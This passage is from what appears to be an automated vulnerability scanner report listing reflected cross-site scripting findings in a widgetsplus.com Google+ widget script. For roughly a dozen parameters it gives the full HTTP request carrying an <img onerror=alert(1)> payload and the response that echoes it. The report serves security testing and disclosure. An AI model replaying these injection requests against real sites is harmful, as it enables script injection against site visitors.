GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D518f1c<img%20src%3da%20onerror%3dalert(1)>c9726905144&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:57:14 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
a#wgp_add_button:hover {
               color:#ffffff;            }

           div#wgp_add_button_wrapper a:active {
               background-position: 0 -31px;
           }

           div#wgp_add_button_wrapper:hover {
               background-color:#3F79D518f1c<img src=a onerror=alert(1)>c9726905144;border-color:#3b71c6;            }
           div#wgp_wrapper p,div#wgp_wrapper a.message {
               padding-top:5px;
               font-size:12px;
               letter-spacing: 1px;
               color:#6a6a6a;
               padding-top:1px;
               clear:both;

...[SNIP]...

2.27. http://widgetsplus.com/google_plus_widget.php [bmofc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the bmofc request parameter is copied into the HTML document as plain text between tags. The payload 9c586<img%20src%3da%20onerror%3dalert(1)>c9c1e598079 was submitted in the bmofc parameter. This input was echoed as 9c586<img src=a onerror=alert(1)>c9c1e598079 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff9c586<img%20src%3da%20onerror%3dalert(1)>c9c1e598079&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:57:38 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
age:url(images/button_gra.png);
               background-position: 0 0;
               border-radius: 3px;
               -moz-border-radius: 3px;
               -webkit-border-radius: 3px;
           }

           a#wgp_add_button:hover {
               color:#ffffff9c586<img src=a onerror=alert(1)>c9c1e598079;            }

           div#wgp_add_button_wrapper a:active {
               background-position: 0 -31px;
           }

           div#wgp_add_button_wrapper:hover {
               background-color:#3F79D5;border-color:#3b71c6;            }
           div#wgp_wrap
...[SNIP]...

2.28. http://widgetsplus.com/google_plus_widget.php [bw parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the bw request parameter is copied into the HTML document as plain text between tags. The payload 62523<img%20src%3da%20onerror%3dalert(1)>aadb8f6bb97 was submitted in the bw parameter. This input was echoed as 62523<img src=a onerror=alert(1)>aadb8f6bb97 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=10062523<img%20src%3da%20onerror%3dalert(1)>aadb8f6bb97&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:59:00 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 6023
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
       font-size:16px;                font-weight: bold;
               position: absolute;
               top:42px;
               left:70px;
               margin-left:10px;
           }
           div#wgp_add_button_wrapper {
               display:block;
               height:29px;
               width:10062523<img src=a onerror=alert(1)>aadb8f6bb97px;background-color:#4889F0;border:1px solid #3F79D5;
               margin:8px 10px;
               font-size:13px;                font-weight:bold;
               margin:8px 10px;
               border-radius: 3px;
               -moz-border-radius: 3px;
               -webk
...[SNIP]...

2.29. http://widgetsplus.com/google_plus_widget.php [fs parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the fs request parameter is copied into the HTML document as plain text between tags. The payload 25579<img%20src%3da%20onerror%3dalert(1)>ebba964c05f was submitted in the fs parameter. This input was echoed as 25579<img src=a onerror=alert(1)>ebba964c05f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=1625579<img%20src%3da%20onerror%3dalert(1)>ebba964c05f&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:58:49 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
none;
           }

           a#wgp_name {
               font-family:"Helvetica Neue",Arial,Helvetica,"Nimbus Sans L",sans-serif;
               display: block;
               width: auto;
               height:20px;
               color:#6a6a6a;                font-size:1625579<img src=a onerror=alert(1)>ebba964c05fpx;                font-weight: bold;
               position: absolute;
               top:42px;
               left:70px;
               margin-left:10px;
           }
           div#wgp_add_button_wrapper {
               display:block;
               height:29px;
               width:100px;background-
...[SNIP]...

2.30. http://widgetsplus.com/google_plus_widget.php [host parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the host request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3febc"><img%20src%3da%20onerror%3dalert(1)>4e99e88f065 was submitted in the host parameter. This input was echoed as 3febc\"><img src=a onerror=alert(1)>4e99e88f065 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com3febc"><img%20src%3da%20onerror%3dalert(1)>4e99e88f065&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:56:03 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 6029
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
<a href="http://plus.google.com/106933972856076071655" id="wgp_name" target="_blank" onClick="recordOutboundLink(this, 'Name', 'thehackernews.com3febc\"><img src=a onerror=alert(1)>4e99e88f065');return false;">
...[SNIP]...

2.31. http://widgetsplus.com/google_plus_widget.php [mbc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the mbc request parameter is copied into the HTML document as plain text between tags. The payload b8c34<img%20src%3da%20onerror%3dalert(1)>aa7595485d9 was submitted in the mbc parameter. This input was echoed as b8c34<img src=a onerror=alert(1)>aa7595485d9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cececeb8c34<img%20src%3da%20onerror%3dalert(1)>aa7595485d9&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:56:27 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
<style>
                       body {
               margin:0;
               padding:0;
               font-family:"Helvetica Neue",Arial,Helvetica,"Nimbus Sans L",sans-serif;
           }

           div#wgp_wrapper {
               border:1px solid #cececeb8c34<img src=a onerror=alert(1)>aa7595485d9;background-color:#f5f5f5;
               width:308px;                height:140px;                overflow:hidden;
               font-family:"Helvetica Neue",Arial,Helvetica,"Nimbus Sans L",sans-serif;
               border-radius: 3px;
               -moz-borde
...[SNIP]...

2.32. http://widgetsplus.com/google_plus_widget.php [mbgc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the mbgc request parameter is copied into the HTML document as plain text between tags. The payload 9a67e<img%20src%3da%20onerror%3dalert(1)>888a5103c6d was submitted in the mbgc parameter. This input was echoed as 9a67e<img src=a onerror=alert(1)>888a5103c6d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f59a67e<img%20src%3da%20onerror%3dalert(1)>888a5103c6d&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:56:15 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
body {
               margin:0;
               padding:0;
               font-family:"Helvetica Neue",Arial,Helvetica,"Nimbus Sans L",sans-serif;
           }

           div#wgp_wrapper {
               border:1px solid #cecece;background-color:#f5f5f59a67e<img src=a onerror=alert(1)>888a5103c6d;
               width:308px;                height:140px;                overflow:hidden;
               font-family:"Helvetica Neue",Arial,Helvetica,"Nimbus Sans L",sans-serif;
               border-radius: 3px;
               -moz-border-radius: 3px;
               -webki
...[SNIP]...

2.33. http://widgetsplus.com/google_plus_widget.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 2fb18<img%20src%3da%20onerror%3dalert(1)>e30ed8f3c79 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2fb18<img src=a onerror=alert(1)>e30ed8f3c79 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=48/2fb18<img%20src%3da%20onerror%3dalert(1)>e30ed8f3c7989F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:59:24 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5980
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
   font-size:12px;
               position: relative;
           }

           span.pl {
               position: absolute;
               bottom:5px;
               right:10px;
               font-size: 11px;
               font-weight: bold;
               font-style: italic;
               color:#48/2fb18<img src=a onerror=alert(1)>e30ed8f3c7989F0;            }

           em.dl {
               position: absolute;
               bottom:5px;
               left:0;
               font-size: 11px;
               font-weight: bold;
               font-style: italic;
               color:#6a6a6a;
           }

           div#wgp_wrapper p.in_cir
...[SNIP]...

2.34. http://widgetsplus.com/google_plus_widget.php [nc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the nc request parameter is copied into the HTML document as plain text between tags. The payload 32064<img%20src%3da%20onerror%3dalert(1)>bfaaad071b9 was submitted in the nc parameter. This input was echoed as 32064<img src=a onerror=alert(1)>bfaaad071b9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a32064<img%20src%3da%20onerror%3dalert(1)>bfaaad071b9&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:58:14 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
us {
               outline: none;
           }

           a#wgp_name {
               font-family:"Helvetica Neue",Arial,Helvetica,"Nimbus Sans L",sans-serif;
               display: block;
               width: auto;
               height:20px;
               color:#6a6a6a32064<img src=a onerror=alert(1)>bfaaad071b9;                font-size:16px;                font-weight: bold;
               position: absolute;
               top:42px;
               left:70px;
               margin-left:10px;
           }
           div#wgp_add_button_wrapper {
               display:block;
               height:29px;
               width:
...[SNIP]...

2.35. http://widgetsplus.com/google_plus_widget.php [pc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the pc request parameter is copied into the HTML document as plain text between tags. The payload 94c51<img%20src%3da%20onerror%3dalert(1)>948ccca63d4 was submitted in the pc parameter. This input was echoed as 94c51<img src=a onerror=alert(1)>948ccca63d4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F094c51<img%20src%3da%20onerror%3dalert(1)>948ccca63d4 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:59:12 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
nt-size:12px;
               position: relative;
           }

           span.pl {
               position: absolute;
               bottom:5px;
               right:10px;
               font-size: 11px;
               font-weight: bold;
               font-style: italic;
               color:#4889F094c51<img src=a onerror=alert(1)>948ccca63d4;            }

           em.dl {
               position: absolute;
               bottom:5px;
               left:0;
               font-size: 11px;
               font-weight: bold;
               font-style: italic;
               color:#6a6a6a;
           }

           div#wgp_wrapper p.in_circles
...[SNIP]...

2.36. http://widgetsplus.com/google_plus_widget.php [t parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the t request parameter is copied into the HTML document as plain text between tags. The payload 89cf2<img%20src%3da%20onerror%3dalert(1)>9a7be0850b8 was submitted in the t parameter. This input was echoed as 89cf2<img src=a onerror=alert(1)>9a7be0850b8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on89cf2<img%20src%3da%20onerror%3dalert(1)>9a7be0850b8&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:58:37 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
<span>Add me on89cf2<img src=a onerror=alert(1)>9a7be0850b8</span>
...[SNIP]...

2.37. http://widgetsplus.com/google_plus_widget.php [tc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the tc request parameter is copied into the HTML document as plain text between tags. The payload 8439b<img%20src%3da%20onerror%3dalert(1)>5879202c08c was submitted in the tc parameter. This input was echoed as 8439b<img src=a onerror=alert(1)>5879202c08c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a8439b<img%20src%3da%20onerror%3dalert(1)>5879202c08c&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:58:01 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
: 3px;
               -webkit-border-radius: 3px;
               text-align:left;
               position: relative;
           }

           div#wgp_wrapper h1 {
               width:288;
               font-size:14px;
               border-bottom:1px solid #cecece;color:#6a6a6a8439b<img src=a onerror=alert(1)>5879202c08c;                font-family:"Helvetica Neue",Arial,Helvetica,"Nimbus Sans L",sans-serif;
               height:18px;
               margin:0 12px 10px 12px;
               padding:10px 0 5px 0px;

           }

           div#wgp_wrapper h1 span {

...[SNIP]...

2.38. http://widgetsplus.com/google_plus_widget.php [tlc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the tlc request parameter is copied into the HTML document as plain text between tags. The payload 2bfeb<img%20src%3da%20onerror%3dalert(1)>eb9fdd2a92b was submitted in the tlc parameter. This input was echoed as 2bfeb<img src=a onerror=alert(1)>eb9fdd2a92b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece2bfeb<img%20src%3da%20onerror%3dalert(1)>eb9fdd2a92b&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
